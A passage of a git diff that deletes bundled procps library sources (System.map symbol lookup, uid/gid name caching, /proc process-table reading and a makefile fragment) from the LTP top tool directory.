-						}
-						/* search for name in symbols with same address */
-						while (map_symb !=
-						       (sysmap_index +
-							sysmap_count)) {
-							if (map_symb->addr !=
-							    findme->addr)
-								break;
-							if (!strcmp
-							    (map_symb->name,
-							     findme->name))
-								goto good_match;
-							map_symb++;
-						}
-						map_symb--;	/* backup to last symbol with matching address */
-						message("{%s} {%s}\n",
-							map_symb->name,
-							findme->name);
-						goto bad_match;
-					}
-good_match:				;
-#endif
-				}
-				return 1;	/* success */
-			}
-			sysmap_index[sysmap_count].addr =
-			    strtoul(endp, &endp, 16);
-			if (*endp != ' ')
-				goto bad_parse;
-			endp++;
-			if (!strchr(SYMBOL_TYPE_CHARS, *endp))
-				goto bad_parse;
-			endp++;
-			if (*endp != ' ')
-				goto bad_parse;
-			endp++;
-			sysmap_index[sysmap_count].name = endp;
-			vstart = endp;
-			endp = strchr(endp, '\n');
-			if (!endp)
-				goto bad_parse;	/* no newline */
-			*endp = '\0';
-			++endp;
-			chop_version(vstart);
-			if (*vstart == 'V' && *Version
-			    && !strcmp(Version, vstart))
-				*Version = '\0';
-			if (++sysmap_count >= sysmap_room)
-				break;	/* need more space */
-		}
-	}
-
-	if (0) {
-bad_match:
-		message("Warning: %s does not match kernel data.\n", filename);
-	}
-	if (0) {
-bad_version:
-		message("Warning: %s has an incorrect kernel version.\n",
-			filename);
-	}
-	if (0) {
-bad_alloc:
-		message("Warning: not enough memory available\n");
-	}
-	if (0) {
-bad_parse:
-		message("Warning: %s not parseable as a System.map\n",
-			filename);
-	}
-	if (0) {
-bad_open:
-		message("Warning: %s could not be opened as a System.map\n",
-			filename);
-	}
-
-	sysmap_room = 0;
-	sysmap_count = 0;
-	if (sysmap_index)
-		free(sysmap_index);
-	sysmap_index = NULL;
-	if (fd >= 0)
-		close(fd);
-	if (sysmap_data)
-		munmap(sysmap_data, sbuf.st_size + 1);
-	sysmap_data = NULL;
-	return 0;
-}
-
-/*********************************/
-
-static void read_and_parse(void)
-{
-	static time_t stamp;	/* after data gets old, load /proc/ksyms again */
-	if (time(NULL) != stamp) {
-		read_file(KSYMS_FILENAME, &ksyms_data, &ksyms_room);
-		parse_ksyms();
-		memset((void *)hashtable, 0, sizeof(hashtable));	/* invalidate cache */
-		stamp = time(NULL);
-	}
-}
-
-/*********************************/
-
-static void default_message(const char *restrict format, ...)
-{
-	va_list arg;
-
-	va_start(arg, format);
-	vfprintf(stderr, format, arg);
-	va_end(arg);
-}
-
-/*********************************/
-
-static int use_wchan_file;
-
-int open_psdb_message(const char *restrict override,
-		      void (*message) (const char *, ...))
-{
-	static const char *sysmap_paths[] = {
-		"/boot/System.map-%s",
-		"/boot/System.map",
-		"/lib/modules/%s/System.map",
-		"/usr/src/linux/System.map",
-		"/System.map",
-		NULL
-	};
-	struct stat sbuf;
-	struct utsname uts;
-	char path[64];
-	const char **fmt = sysmap_paths;
-	const char *sm;
-
-#ifdef SYSMAP_FILENAME		/* debug feature */
-	override = SYSMAP_FILENAME;
-#endif
-
-	// first allow for a user-selected System.map file
-	if ((sm = override)
-	    || (sm = getenv("PS_SYSMAP"))
-	    || (sm = getenv("PS_SYSTEM_MAP"))
-	    ) {
-		read_and_parse();
-		if (sysmap_mmap(sm, message))
-			return 0;
-		/* failure is better than ignoring the user & using bad data */
-		return -1;	/* ought to return "Namelist not found." */
-	}
-	// next try the Linux 2.5.xx method
-	if (!stat("/proc/self/wchan", &sbuf)) {
-		use_wchan_file = 1;	// hack
-		return 0;
-	}
-	// finally, search for the System.map file
-	uname(&uts);
-	do {
-		int did_ksyms = 0;
-		snprintf(path, sizeof path, *fmt, uts.release);
-		if (!stat(path, &sbuf)) {
-			if (did_ksyms++)
-				read_and_parse();
-			if (sysmap_mmap(path, message))
-				return 0;
-		}
-	} while (*++fmt);
-	/* TODO: Without System.map, no need to keep ksyms loaded. */
-	return -1;
-}
-
-/***************************************/
-
-int open_psdb(const char *restrict override)
-{
-	return open_psdb_message(override, default_message);
-}
-
-/***************************************/
-
-const char *read_wchan_file(unsigned pid)
-{
-	static char buf[64];
-	const char *ret = buf;
-	ssize_t num;
-	int fd;
-
-	snprintf(buf, sizeof buf, "/proc/%d/wchan", pid);
-	fd = open(buf, O_RDONLY);
-	if (fd == -1)
-		return "?";
-	num = read(fd, buf, sizeof buf - 1);
-	close(fd);
-	if (num < 1)
-		return "?";	// allow for "0"
-	buf[num] = '\0';
-
-	if (buf[0] == '0' && buf[1] == '\0')
-		return "-";
-
-	// would skip over numbers if they existed -- but no
-
-	switch (*ret) {
-	case 's':
-		if (!strncmp(ret, "sys_", 4))
-			ret += 4;
-		break;
-	case 'd':
-		if (!strncmp(ret, "do_", 3))
-			ret += 3;
-		break;
-	case '_':
-		while (*ret == '_')
-			ret++;
-		break;
-	}
-	return ret;
-}
-
-/***************************************/
-
-#define MAX_OFFSET (0x1000*sizeof(long))	/* past this is generally junk */
-
-/* return pointer to temporary static buffer with function name */
-const char *wchan(unsigned long address, unsigned pid)
-{
-	const symb *mod_symb;
-	const symb *map_symb;
-	const symb *good_symb;
-	const char *ret;
-	unsigned hash;
-
-	// can't cache it due to a race condition :-(
-	if (use_wchan_file)
-		return read_wchan_file(pid);
-
-	if (!address)
-		return dash;
-
-	read_and_parse();
-	hash = (address >> 4) & 0xff;	/* got 56/63 hits & 7/63 misses */
-	if (hashtable[hash].addr == address)
-		return hashtable[hash].name;
-	mod_symb = search(address, ksyms_index, ksyms_count);
-	if (!mod_symb)
-		mod_symb = &fail;
-	map_symb = search(address, sysmap_index, sysmap_count);
-	if (!map_symb)
-		map_symb = &fail;
-
-	/* which result is closest? */
-	good_symb = (mod_symb->addr > map_symb->addr)
-	    ? mod_symb : map_symb;
-	if (address > good_symb->addr + MAX_OFFSET)
-		good_symb = &fail;
-
-	/* good_symb->name has the data, but needs to be trimmed */
-	ret = good_symb->name;
-	switch (*ret) {
-	case 's':
-		if (!strncmp(ret, "sys_", 4))
-			ret += 4;
-		break;
-	case 'd':
-		if (!strncmp(ret, "do_", 3))
-			ret += 3;
-		break;
-	case '_':
-		while (*ret == '_')
-			ret++;
-		break;
-	}
-	/* if (!*ret) ret = fail.name; *//* not likely (name was "sys_", etc.) */
-
-	/* cache name after abbreviation */
-	hashtable[hash].addr = address;
-	hashtable[hash].name = ret;
-
-	return ret;
-}
diff --git a/tools/top-LTP/proc/module.mk b/tools/top-LTP/proc/module.mk
deleted file mode 100644
index f405acc..0000000
--- a/tools/top-LTP/proc/module.mk
+++ /dev/null
@@ -1,73 +0,0 @@
-# This file gets included into the main Makefile, in the top directory.
-
-# for lib$(NAME).so and /usr/include/($NAME) and such
-NAME      :=  proc
-
-SHARED := 1
-
-SONAME    :=  lib$(NAME).so.$(LIBVERSION)
-
-LIBSRC :=  $(wildcard proc/*.c)
-LIBHDR :=  $(wildcard proc/*.h)
-LIBOBJ :=  $(LIBSRC:.c=.o)
-
-#ALL        += proc/lib$(NAME).a
-#INSTALL    += $(usr/lib)/lib$(NAME).a # plus $(usr/include)$(NAME) gunk
-
-ifeq ($(SHARED),1)
-ALL        += proc/$(SONAME)
-INSTALL    += $(lib)/$(SONAME)
-FPIC       := -fpic
-LIBPROC    := proc/$(SONAME)
-else
-ALL        += proc/lib$(NAME).a
-LIBPROC    := proc/lib$(NAME).a
-endif
-
-# Separate rule for this directory, to use -fpic or -fPIC
-$(filter-out proc/version.o,$(LIBOBJ)): proc/%.o: proc/%.c
-	$(CC) -c $(CFLAGS) $(FPIC) $< -o $@
-
-LIB_X := COPYING module.mk
-TARFILES += $(LIBSRC) $(LIBHDR) $(addprefix proc/,$(LIB_X))
-
-
-# Clean away all output files, .depend, and symlinks.
-# Use wildcards in case the version has changed.
-CLEAN += proc/.depend proc/lib*.so* proc/lib*.a $(LIBOBJ)
-DIRS  += proc/
-
-proc/lib$(NAME).a: $(LIBOBJ)
-	$(AR) rcs $@ $^
-
-proc/$(SONAME): $(LIBOBJ)
-	$(CC) -shared -Wl,-soname,$(SONAME) -o $@ $^ -lc
-	cd proc && $(ln_sf) $(SONAME) lib$(NAME).so
-
-
-# AUTOMATIC DEPENDENCY GENERATION -- GCC AND GNUMAKE DEPENDENT
-proc/.depend: $(LIBSRC) $(LIBHDR)
-	$(strip $(CC) $(LIB_CFLAGS) -MM -MG $(LIBSRC) > $@)
-
-ifneq ($(MAKECMDGOALS),clean)
-ifneq ($(MAKECMDGOALS),tar)
--include proc/.depend
-endif
-endif
-
-
-$(lib)/$(SONAME) : proc/$(SONAME)
-	$(install) --mode a=rx --strip $< $@
-	cd $(lib) && $(ln_sf) $(SONAME) lib$(NAME).so
-	$(ldconfig)
-
-#$(usr/lib)/lib$(NAME).a : proc/lib$(NAME).a
-#	$(install) --mode a=r --strip $< $@
-
-# Junk anyway... supposed to go in /usr/include/$(NAME)
-#$(HDRFILES) ??? : $(addprefix proc/,$(HDRFILES)) ???
-#	$(install) --mode a=r $< $@
-
-
-proc/version.o:	proc/version.c proc/version.h
-	$(CC) $(CFLAGS) $(FPIC) -DVERSION=\"$(VERSION)\" -DSUBVERSION=\"$(SUBVERSION)\" -DMINORVERSION=\"$(MINORVERSION)\" -c -o $@ $<
diff --git a/tools/top-LTP/proc/procps.h b/tools/top-LTP/proc/procps.h
deleted file mode 100644
index fba3397..0000000
--- a/tools/top-LTP/proc/procps.h
+++ /dev/null
@@ -1,38 +0,0 @@
-#ifndef PROCPS_PROC_PROCPS_H
-#define PROCPS_PROC_PROCPS_H
-
-#ifdef  __cplusplus
-#define EXTERN_C_BEGIN extern "C" {
-#define EXTERN_C_END }
-#else
-#define EXTERN_C_BEGIN
-#define EXTERN_C_END
-#endif
-
-#if !defined(restrict) && __STDC_VERSION__ < 199901
-#if __GNUC__ > 2 || __GNUC_MINOR__ >= 91    // maybe 92 or 95 ?
-#define restrict __restrict__
-#else
-#warning No restrict keyword?
-#define restrict
-#endif
-#endif
-
-// since gcc-2.5
-#define NORETURN __attribute__((__noreturn__))
-
-#if __GNUC__ > 2 || __GNUC_MINOR__ >= 96
-// won't alias anything, and aligned enough for anything
-#define MALLOC __attribute__ ((__malloc__))
-// tell gcc what to expect:   if (unlikely(err)) die(err);
-#define likely(x)       __builtin_expect(!!(x),1)
-#define unlikely(x)     __builtin_expect(!!(x),0)
-#define expected(x,y)   __builtin_expect((x),(y))
-#else
-#define MALLOC
-#define likely(x)       (x)
-#define unlikely(x)     (x)
-#define expected(x,y)   (x)
-#endif
-
-#endif
diff --git a/tools/top-LTP/proc/pwcache.c b/tools/top-LTP/proc/pwcache.c
deleted file mode 100644
index 1b2c663..0000000
--- a/tools/top-LTP/proc/pwcache.c
+++ /dev/null
@@ -1,78 +0,0 @@
-// Copyright (C) 1992-1998 by Michael K. Johnson, johnsonm@redhat.com
-// Note: most likely none of his code remains
-//
-// Copyright 2002, Albert Cahalan
-//
-// This file is placed under the conditions of the GNU Library
-// General Public License, version 2, or any later version.
-// See file COPYING for information on distribution conditions.
-
-#include <stdio.h>
-#include <sys/types.h>
-#include <stdlib.h>
-#include <pwd.h>
-#include "alloc.h"
-#include "pwcache.h"
-#include <grp.h>
-
-// might as well fill cache lines... else we waste memory anyway
-
-#define	HASHSIZE	64	/* power of 2 */
-#define	HASH(x)		((x) & (HASHSIZE - 1))
-
-#define NAMESIZE	20
-#define NAMELENGTH	"19"
-
-static struct pwbuf {
-	struct pwbuf *next;
-	uid_t uid;
-	char name[NAMESIZE];
-} *pwhash[HASHSIZE];
-
-char *user_from_uid(uid_t uid)
-{
-	struct pwbuf **p;
-	struct passwd *pw;
-
-	p = &pwhash[HASH(uid)];
-	while (*p) {
-		if ((*p)->uid == uid)
-			return ((*p)->name);
-		p = &(*p)->next;
-	}
-	*p = (struct pwbuf *)xmalloc(sizeof(struct pwbuf));
-	(*p)->uid = uid;
-	if ((pw = getpwuid(uid)) == NULL)
-		sprintf((*p)->name, "#%d", uid);
-	else
-		sprintf((*p)->name, "%-." NAMELENGTH "s", pw->pw_name);
-	(*p)->next = NULL;
-	return ((*p)->name);
-}
-
-static struct grpbuf {
-	struct grpbuf *next;
-	gid_t gid;
-	char name[NAMESIZE];
-} *grphash[HASHSIZE];
-
-char *group_from_gid(gid_t gid)
-{
-	struct grpbuf **g;
-	struct group *gr;
-
-	g = &grphash[HASH(gid)];
-	while (*g) {
-		if ((*g)->gid == gid)
-			return ((*g)->name);
-		g = &(*g)->next;
-	}
-	*g = (struct grpbuf *)malloc(sizeof(struct grpbuf));
-	(*g)->gid = gid;
-	if ((gr = getgrgid(gid)) == NULL)
-		sprintf((*g)->name, "#%d", gid);
-	else
-		sprintf((*g)->name, "%-." NAMELENGTH "s", gr->gr_name);
-	(*g)->next = NULL;
-	return ((*g)->name);
-}
diff --git a/tools/top-LTP/proc/pwcache.h b/tools/top-LTP/proc/pwcache.h
deleted file mode 100644
index 244ce6d..0000000
--- a/tools/top-LTP/proc/pwcache.h
+++ /dev/null
@@ -1,14 +0,0 @@
-#ifndef PROCPS_PROC_PWCACHE_H
-#define PROCPS_PROC_PWCACHE_H
-
-#include <sys/types.h>
-#include "procps.h"
-
-EXTERN_C_BEGIN
-
-extern char *user_from_uid(uid_t uid);
-extern char *group_from_gid(gid_t gid);
-
-EXTERN_C_END
-
-#endif
diff --git a/tools/top-LTP/proc/readproc.c b/tools/top-LTP/proc/readproc.c
deleted file mode 100644
index ead9623..0000000
--- a/tools/top-LTP/proc/readproc.c
+++ /dev/null
@@ -1,653 +0,0 @@
-/*
- * New Interface to Process Table -- PROCTAB Stream (a la Directory streams)
- * Copyright (C) 1996 Charles L. Blake.
- * Copyright (C) 1998 Michael K. Johnson
- * Copyright 1998-2002 Albert Cahalan
- * May be distributed under the conditions of the
- * GNU Library General Public License; a copy is in COPYING
- */
-#ifdef HAVE_CONFIG_H
-#include "config.h"
-#endif
-#include "version.h"
-#include "readproc.h"
-#include "alloc.h"
-#include "pwcache.h"
-#include "devname.h"
-#include "procps.h"
-#include <stdio.h>
-#include <stdlib.h>
-#include <errno.h>
-#include <stdarg.h>
-#include <string.h>
-#include <unistd.h>
-#include <signal.h>
-#include <fcntl.h>
-#include <sys/dir.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-
-#ifdef FLASK_LINUX
-#include <fs_secure.h>
-#endif
-
-/* initiate a process table scan
- */
-PROCTAB *openproc(int flags, ...)
-{
-	va_list ap;
-	PROCTAB *PT = xmalloc(sizeof(PROCTAB));
-
-	if (flags & PROC_PID)
-		PT->procfs = NULL;
-	else if (!(PT->procfs = opendir("/proc")))
-		return NULL;
-	PT->flags = flags;
-	va_start(ap, flags);	/*  Init args list */
-	if (flags & PROC_PID)
-		PT->pids = va_arg(ap, pid_t *);
-	else if (flags & PROC_UID) {
-		PT->uids = va_arg(ap, uid_t *);
-		PT->nuid = va_arg(ap, int);
-	}
-	va_end(ap);		/*  Clean up args list */
-	return PT;
-}
-
-/* terminate a process table scan
- */
-void closeproc(PROCTAB * PT)
-{
-	if (PT) {
-		if (PT->procfs)
-			closedir(PT->procfs);
-		free(PT);
-	}
-}
-
-/* deallocate the space allocated by readproc if the passed rbuf was NULL
- */
-void freeproc(proc_t * p)
-{
-	if (!p)			/* in case p is NULL */
-		return;
-	/* ptrs are after strings to avoid copying memory when building them. */
-	/* so free is called on the address of the address of strvec[0]. */
-	if (p->cmdline)
-		free((void *)*p->cmdline);
-	if (p->environ)
-		free((void *)*p->environ);
-	free(p);
-}
-
-// 2.5.xx looks like:
-//
-// "State:\t%s\n"
-// "Tgid:\t%d\n"
-// "Pid:\t%d\n"
-// "PPid:\t%d\n"
-// "TracerPid:\t%d\n"
-
-static void status2proc(const char *S, proc_t * restrict P)
-{
-	char *tmp;
-	unsigned i;
-
-	// The cmd is escaped, with \\ and \n for backslash and newline.
-	// It certainly may contain "VmSize:" and similar crap.
-	if (unlikely(strncmp("Name:\t", S, 6)))
-		fprintf(stderr, "Internal error!\n");
-	S += 6;
-	i = 0;
-	while (i < sizeof P->cmd - 1) {
-		int c = *S++;
-		if (unlikely(c == '\n'))
-			break;
-		if (unlikely(c == '\0'))
-			return;	// should never happen
-		if (unlikely(c == '\\')) {
-			c = *S++;
-			if (c == '\n')
-				break;	// should never happen
-			if (!c)
-				break;	// should never happen
-			if (c == 'n')
-				c = '\n';	// else we assume it is '\\'
-		}
-		P->cmd[i++] = c;
-	}
-	P->cmd[i] = '\0';
-
-	tmp = strstr(S, "State:\t");
-	if (likely(tmp))
-		P->state = tmp[7];
-	else
-		fprintf(stderr, "Internal error!\n");
-
-	tmp = strstr(S, "PPid:");
-	if (likely(tmp))
-		sscanf(tmp, "PPid:\t%d\n", &P->ppid);
-	else
-		fprintf(stderr, "Internal error!\n");
-
-	tmp = strstr(S, "Uid:");
-	if (likely(tmp))
-		sscanf(tmp,
-		       "Uid:\t%d\t%d\t%d\t%d",
-		       &P->ruid, &P->euid, &P->suid, &P->fuid);
-	else
-		fprintf(stderr, "Internal error!\n");
-
-	tmp = strstr(S, "Gid:");
-	if (likely(tmp))
-		sscanf(tmp,
-		       "Gid:\t%d\t%d\t%d\t%d",
-		       &P->rgid, &P->egid, &P->sgid, &P->fgid);
-	else
-		fprintf(stderr, "Internal error!\n");
-
-	tmp = strstr(S, "VmSize:");
-	if (likely(tmp))
-		sscanf(tmp,
-		       "VmSize: %lu kB\n"
-		       "VmLck: %lu kB\n"
-		       "VmRSS: %lu kB\n"
-		       "VmData: %lu kB\n"
-		       "VmStk: %lu kB\n"
-		       "VmExe: %lu kB\n"
-		       "VmLib: %lu kB\n",
-		       &P->vm_size, &P->vm_lock, &P->vm_rss, &P->vm_data,
-		       &P->vm_stack, &P->vm_exe, &P->vm_lib);
-	else {			/* looks like an annoying kernel thread */
-
-		P->vm_size = 0;
-		P->vm_lock = 0;
-		P->vm_rss = 0;
-		P->vm_data = 0;
-		P->vm_stack = 0;
-		P->vm_exe = 0;
-		P->vm_lib = 0;
-	}
-
-	tmp = strstr(S, "SigPnd:");
-	if (likely(tmp))
-		sscanf(tmp,
-#ifdef SIGNAL_STRING
-		       "SigPnd: %s SigBlk: %s SigIgn: %s %*s %s",
-		       P->signal, P->blocked, P->sigignore, P->sigcatch
-#else
-		       "SigPnd: %Lx SigBlk: %Lx SigIgn: %Lx %*s %Lx",
-		       &P->signal, &P->blocked, &P->sigignore, &P->sigcatch
-#endif
-		    );
-	else
-		fprintf(stderr, "Internal error!\n");
-}
-
-// Reads /proc/*/stat files, being careful not to trip over processes with
-// names like ":-) 1 2 3 4 5 6".
-static void stat2proc(const char *S, proc_t * restrict P)
-{
-	unsigned num;
-	char *tmp;
-
-	/* fill in default values for older kernels */
-	P->exit_signal = SIGCHLD;
-	P->processor = 0;
-	P->rtprio = -1;
-	P->sched = -1;
-
-	S = strchr(S, '(') + 1;
-	tmp = strrchr(S, ')');
-	num = tmp - S;
-	if (unlikely(num >= sizeof P->cmd))
-		num = sizeof P->cmd - 1;
-	memcpy(P->cmd, S, num);
-	P->cmd[num] = '\0';
-	S = tmp + 2;		// skip ") "
-
-	num = sscanf(S, "%c " "%d %d %d %d %d " "%lu %lu %lu %lu %lu " "%Lu %Lu %Lu %Lu "	/* utime stime cutime cstime */
-		     "%ld %ld %ld %ld " "%Lu "	/* start_time */
-		     "%lu " "%ld " "%lu %lu %lu %lu %lu %lu " "%*s %*s %*s %*s "	/* discard, no RT signals & Linux 2.1 used hex */
-		     "%lu %lu %lu "
-		     "%d %d "
-		     "%lu %lu",
-		     &P->state,
-		     &P->ppid, &P->pgrp, &P->session, &P->tty, &P->tpgid,
-		     &P->flags, &P->min_flt, &P->cmin_flt, &P->maj_flt,
-		     &P->cmaj_flt, &P->utime, &P->stime, &P->cutime, &P->cstime,
-		     &P->priority, &P->nice, &P->timeout, &P->it_real_value,
-		     &P->start_time, &P->vsize, &P->rss, &P->rss_rlim,
-		     &P->start_code, &P->end_code, &P->start_stack,
-		     &P->kstk_esp, &P->kstk_eip,
-		     /*     P->signal, P->blocked, P->sigignore, P->sigcatch,   *//* can't use */
-		     &P->wchan, &P->nswap, &P->cnswap,
-/* -- Linux 2.0.35 ends here -- */
-		     &P->exit_signal, &P->processor,	/* 2.2.1 ends with "exit_signal" */
-/* -- Linux 2.2.8 to 2.5.17 end here -- */
-		     &P->rtprio, &P->sched	/* both added to 2.5.18 */
-	    );
-}
-
-static void statm2proc(const char *s, proc_t * restrict P)
-{
-	int num;
-	num = sscanf(s, "%ld %ld %ld %ld %ld %ld %ld",
-		     &P->size, &P->resident, &P->share,
-		     &P->trs, &P->lrs, &P->drs, &P->dt);
-/*    fprintf(stderr, "statm2proc converted %d fields.\n",num); */
-}
-
-static int file2str(const char *directory, const char *what, char *ret, int cap)
-{
-	static char filename[80];
-	int fd, num_read;
-
-	sprintf(filename, "%s/%s", directory, what);
-	fd = open(filename, O_RDONLY, 0);
-	if (unlikely(fd == -1))
-		return -1;
-	num_read = read(fd, ret, cap - 1);
-	if (unlikely(num_read <= 0))
-		num_read = -1;
-	else
-		ret[num_read] = 0;
-	close(fd);
-	return num_read;
-}
-
-static char **file2strvec(const char *directory, const char *what)
-{
-	char buf[2048];		/* read buf bytes at a time */
-	char *p, *rbuf = 0, *endbuf, **q, **ret;
-	int fd, tot = 0, n, c, end_of_file = 0;
-	int align;
-
-	sprintf(buf, "%s/%s", directory, what);
-	fd = open(buf, O_RDONLY, 0);
-	if (fd == -1)
-		return NULL;
-
-	/* read whole file into a memory buffer, allocating as we go */
-	while ((n = read(fd, buf, sizeof buf - 1)) > 0) {
-		if (n < (int)(sizeof buf - 1))
-			end_of_file = 1;
-		if (n == 0 && rbuf == 0)
-			return NULL;	/* process died between our open and read */
-		if (n < 0) {
-			free(rbuf);
-			return NULL;	/* read error */
-		}
-		if (end_of_file && buf[n - 1])	/* last read char not null */
-			buf[n++] = '\0';	/* so append null-terminator */
-		rbuf = xrealloc(rbuf, tot + n);	/* allocate more memory */
-		memcpy(rbuf + tot, buf, n);	/* copy buffer into it */
-		tot += n;	/* increment total byte ctr */
-		if (end_of_file)
-			break;
-	}
-	close(fd);
-	if (n <= 0 && !end_of_file) {
-		free(rbuf);
-		return NULL;	/* read error */
-	}
-	endbuf = rbuf + tot;	/* count space for pointers */
-	align =
-	    (sizeof(char *) - 1) -
-	    ((tot + sizeof(char *) - 1) & (sizeof(char *) - 1));
-	for (c = 0, p = rbuf; p < endbuf; p++)
-		if (!*p)
-			c += sizeof(char *);
-	c += sizeof(char *);	/* one extra for NULL term */
-
-	rbuf = xrealloc(rbuf, tot + c + align);	/* make room for ptrs AT END */
-	endbuf = rbuf + tot;	/* addr just past data buf */
-	q = ret = (char **)(endbuf + align);	/* ==> free(*ret) to dealloc */
-	*q++ = p = rbuf;	/* point ptrs to the strings */
-	endbuf--;		/* do not traverse final NUL */
-	while (++p < endbuf)
-		if (!*p)	/* NUL char implies that */
-			*q++ = p + 1;	/* next string -> next char */
-
-	*q = 0;			/* null ptr list terminator */
-	return ret;
-}
-
-// warning: interface may change
-int read_cmdline(char *restrict const dst, unsigned sz, unsigned pid)
-{
-	char name[32];
-	int fd;
-	unsigned n = 0;
-	dst[0] = '\0';
-	snprintf(name, sizeof name, "/proc/%u/cmdline", pid);
-	fd = open(name, O_RDONLY);
-	if (fd == -1)
-		return 0;
-	for (;;) {
-		ssize_t r = read(fd, dst + n, sz - n);
-		if (r == -1) {
-			if (errno == EINTR)
-				continue;
-			break;
-		}
-		n += r;
-		if (n == sz)
-			break;	// filled the buffer
-		if (r == 0)
-			break;	// EOF
-	}
-	if (n) {
-		int i;
-		if (n == sz)
-			n--;
-		dst[n] = '\0';
-		i = n;
-		while (i--) {
-			int c = dst[i];
-			if (c < ' ' || c > '~')
-				dst[i] = ' ';
-		}
-	}
-	return n;
-}
-
-/* These are some nice GNU C expression subscope "inline" functions.
- * The can be used with arbitrary types and evaluate their arguments
- * exactly once.
- */
-
-/* Test if item X of type T is present in the 0 terminated list L */
-#define XinL(T, X, L) ( {			\
-	    T  x = (X), *l = (L);		\
-	    while (*l && *l != x) l++;		\
-	    *l == x;				\
-	} )
-
-/* Test if item X of type T is present in the list L of length N */
-#define XinLN(T, X, L, N) ( {		\
-	    T x = (X), *l = (L);		\
-	    int i = 0, n = (N);			\
-	    while (i < n && l[i] != x) i++;	\
-	    i < n && l[i] == x;			\
-	} )
-
-/* readproc: return a pointer to a proc_t filled with requested info about the
- * next process available matching the restriction set.  If no more such
- * processes are available, return a null pointer (boolean false).  Use the
- * passed buffer instead of allocating space if it is non-NULL.  */
-
-/* This is optimized so that if a PID list is given, only those files are
- * searched for in /proc.  If other lists are given in addition to the PID list,
- * the same logic can follow through as for the no-PID list case.  This is
- * fairly complex, but it does try to not to do any unnecessary work.
- */
-proc_t *readproc(PROCTAB * PT, proc_t * p)
-{
-	static struct direct *ent;	/* dirent handle */
-	static struct stat sb;	/* stat buffer */
-	static char path[32], sbuf[1024];	/* bufs for stat,statm */
-#ifdef FLASK_LINUX
-	security_id_t secsid;
-#endif
-	pid_t pid;		// saved until we have a proc_t allocated for sure
-
-	/* loop until a proc matching restrictions is found or no more processes */
-	/* I know this could be a while loop -- this way is easier to indent ;-) */
-next_proc:			/* get next PID for consideration */
-
-/*printf("PT->flags is 0x%08x\n", PT->flags);*/
-#define flags (PT->flags)
-
-	if (flags & PROC_PID) {
-		pid = *(PT->pids)++;
-		if (unlikely(!pid))
-			return NULL;
-		snprintf(path, sizeof path, "/proc/%d", pid);
-	} else {		/* get next numeric /proc ent */
-		for (;;) {
-			ent = readdir(PT->procfs);
-			if (unlikely(unlikely(!ent) || unlikely(!ent->d_name)))
-				return NULL;
-			if (likely
-			    (likely(*ent->d_name > '0')
-			     && likely(*ent->d_name <= '9')))
-				break;
-		}
-		pid = strtoul(ent->d_name, NULL, 10);
-		memcpy(path, "/proc/", 6);
-		strcpy(path + 6, ent->d_name);	// trust /proc to not contain evil top-level entries
-//      snprintf(path, sizeof path, "/proc/%s", ent->d_name);
-	}
-#ifdef FLASK_LINUX
-	if (stat_secure(path, &sb, &secsid) == -1)	/* no such dirent (anymore) */
-#else
-	if (unlikely(stat(path, &sb) == -1))	/* no such dirent (anymore) */
-#endif
-		goto next_proc;
-
-	if ((flags & PROC_UID) && !XinLN(uid_t, sb.st_uid, PT->uids, PT->nuid))
-		goto next_proc;	/* not one of the requested uids */
-
-	if (!p)
-		p = xcalloc(p, sizeof *p);	/* passed buf or alloced mem */
-
-	p->euid = sb.st_uid;	/* need a way to get real uid */
-#ifdef FLASK_LINUX
-	p->secsid = secsid;
-#endif
-	p->pid = pid;
-
-	if (flags & PROC_FILLSTAT) {	/* read, parse /proc/#/stat */
-		if (unlikely(file2str(path, "stat", sbuf, sizeof sbuf) == -1))
-			goto next_proc;	/* error reading /proc/#/stat */
-		stat2proc(sbuf, p);	/* parse /proc/#/stat */
-	}
-
-	if (unlikely(flags & PROC_FILLMEM)) {	/* read, parse /proc/#/statm */
-		if (likely(file2str(path, "statm", sbuf, sizeof sbuf) != -1))
-			statm2proc(sbuf, p);	/* ignore statm errors here */
-	}
-	/* statm fields just zero */
-	if (flags & PROC_FILLSTATUS) {	/* read, parse /proc/#/status */
-		if (likely(file2str(path, "status", sbuf, sizeof sbuf) != -1)) {
-			status2proc(sbuf, p);
-		}
-	}
-
-	/* some number->text resolving which is time consuming */
-	if (flags & PROC_FILLUSR) {
-		strncpy(p->euser, user_from_uid(p->euid), sizeof p->euser);
-		if (flags & PROC_FILLSTATUS) {
-			strncpy(p->ruser, user_from_uid(p->ruid),
-				sizeof p->ruser);
-			strncpy(p->suser, user_from_uid(p->suid),
-				sizeof p->suser);
-			strncpy(p->fuser, user_from_uid(p->fuid),
-				sizeof p->fuser);
-		}
-	}
-
-	/* some number->text resolving which is time consuming */
-	if (flags & PROC_FILLGRP) {
-		strncpy(p->egroup, group_from_gid(p->egid), sizeof p->egroup);
-		if (flags & PROC_FILLSTATUS) {
-			strncpy(p->rgroup, group_from_gid(p->rgid),
-				sizeof p->rgroup);
-			strncpy(p->sgroup, group_from_gid(p->sgid),
-				sizeof p->sgroup);
-			strncpy(p->fgroup, group_from_gid(p->fgid),
-				sizeof p->fgroup);
-		}
-	}
-
-	if ((flags & PROC_FILLCOM) || (flags & PROC_FILLARG))	/* read+parse /proc/#/cmdline */
-		p->cmdline = file2strvec(path, "cmdline");
-	else
-		p->cmdline = NULL;
-
-	if (unlikely(flags & PROC_FILLENV))	/* read+parse /proc/#/environ */
-		p->environ = file2strvec(path, "environ");
-	else
-		p->environ = NULL;
-
-	return p;
-}
-
-#undef flags
-
-/* ps_readproc: return a pointer to a proc_t filled with requested info about the
- * next process available matching the restriction set.  If no more such
- * processes are available, return a null pointer (boolean false).  Use the
- * passed buffer instead of allocating space if it is non-NULL.  */
-
-/* This is optimized so that if a PID list is given, only those files are
- * searched for in /proc.  If other lists are given in addition to the PID list,
- * the same logic can follow through as for the no-PID list case.  This is
- * fairly complex, but it does try to not to do any unnecessary work.
- */
-proc_t *ps_readproc(PROCTAB * PT, proc_t * p)
-{
-	static struct direct *ent;	/* dirent handle */
-	static struct stat sb;	/* stat buffer */
-	static char path[32], sbuf[1024];	/* bufs for stat,statm */
-#ifdef FLASK_LINUX
-	security_id_t secsid;
-#endif
-	pid_t pid;		// saved until we have a proc_t allocated for sure
-
-	/* loop until a proc matching restrictions is found or no more processes */
-	/* I know this could be a while loop -- this way is easier to indent ;-) */
-next_proc:			/* get next PID for consideration */
-
-/*printf("PT->flags is 0x%08x\n", PT->flags);*/
-#define flags (PT->flags)
-
-	for (;;) {
-		ent = readdir(PT->procfs);
-		if (unlikely(unlikely(!ent) || unlikely(!ent->d_name)))
-			return NULL;
-		if (likely
